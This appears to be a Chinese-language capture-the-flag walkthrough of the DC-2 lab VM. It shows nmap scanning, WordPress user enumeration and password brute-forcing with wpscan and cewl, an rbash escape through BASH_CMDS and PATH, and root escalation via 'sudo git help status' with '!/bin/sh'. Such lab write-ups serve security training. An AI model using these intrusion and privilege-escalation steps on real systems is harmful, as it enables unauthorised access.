DC-2

网段:192.168.174.0/24

本靶场环境总共有5个flag

1.信息收集

1.1. 主机发现

nmap -sn 192.168.174.0/24
或者
netdiscover -r 192.168.174.0/24 --排除1,2,254

image-20240314135521954

得到目标IP:192.168.174.146

kali的IP:192.168.174.137

1.2. 扫描端口和服务

sudo nmap -T4 -sV -O -A -p- 192.168.174.146
PORT     STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 00:0C:29:0E:ED:A2 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 80端口
  • 7744,开放了openSSH

1.3. 访问目标页面

image-20240314135853539

发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。

修改hosts文件,添加靶机IP到域名dc-2的指向

vim /etc/hosts
192.168.174.146 dc-2

重新访问

image-20240314140312356

可以发现是一个登陆界面。返回DC-2,可以找到flag1

image-20240314140401597

翻译

你通常的单词表可能不起作用,所以,也许你只需要保持清醒。
密码越多越好,但有时你就是不可能一网打尽。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。

1.4. 用户名枚举

前面我们提到这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描
Wpscan一些常用语句:

wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户

image-20240314141231744

wp版本为4.7.10

登录页面尝试登录
随即输入用户名密码,提示用户名不存在,似乎可以进行用户名枚举

image-20240314141933222

wpscan --url http://dc-2 --enumerate u 枚举用户

image-20240314142010991

发现有3个用户admin、jerry、tom

1.5. 暴力破解出账号密码

根据flag1可以用暴力破解,我们使用cewl生成字典,使用wpscan进行暴力破解。

cewl是一个ruby应用,爬行指定url的指定深度。也可以跟一个外部链接,结果会返回一个单词列表,这个列表可以扔到John the ripper工具里进行密码破解。

cewl http://dc-2 >> 1.txt
wpscan --url http://dc-2 --passwords 1.txt

破出来两个账号

image-20240314142434933

拿jerry登陆试试

image-20240314142520431

1.6. flag2

image-20240314142604407

找其它进入点?

1.7. 在tom的家目录发现flag3

登录ssh

ssh tom@192.168.174.146 -p 7744 

image-20240314143018899

在tom账号的家目录 发现flag3
cat用不了,我这里采用了vi来查看,当前=也可以反弹一个shell到kali

poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。

接下来,尝试rbash绕过

BASH_CMDS[a]=/bin/sh;a  注:把/bin/bash给a变量`
export PATH=$PATH:/bin/ 注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin 注:将/usr/bin作为PATH环境变量导出
echo /*

image-20240314143828274

1.8. jeryy flag4

image-20240314144630088

Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!

大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权

我们可以看到无需root权限,jerry 可以使用 git

sudo -l jerry #登陆

image-20240314153951516

1.9.提权

查看一下可以使用的root权限命令

查找系统所有文件中拥有suid特殊权限的文件
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限-perm -0777搜索的就是最高权限的文件rwxrwxrwx-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件2.特殊文件,包含权限位置四位,7000为最高,即-s-s-t,同样的方法-perm -7000搜索的就是最高权限的文件-s-s-t-perm +7000搜索的只要包含-s-s-t任意一个的文件,-s–(4000)、–s-(2000)、—t(1000)等

find / -user root -perm -4000 -print 2>/dev/null

image-20240314154328064

sudo可以使用,但是不能到root权限(可以尝试jerry的用户)
在使用su jerry (密码:adipiscing)

image-20240314154511107

jerry用户也不可以直接sudo su

补充:su知识

[sudo su] 切换root身份,不携带当前用户环境变量。
[sudo su -]切换root身份,携带当前用户环境变量。

发现可以使用git命令 (root权限)

sudo git help status 

输入!/bin/sh,直接输入就行

image-20240314160001335

image-20240314160021137

image-20240314160050788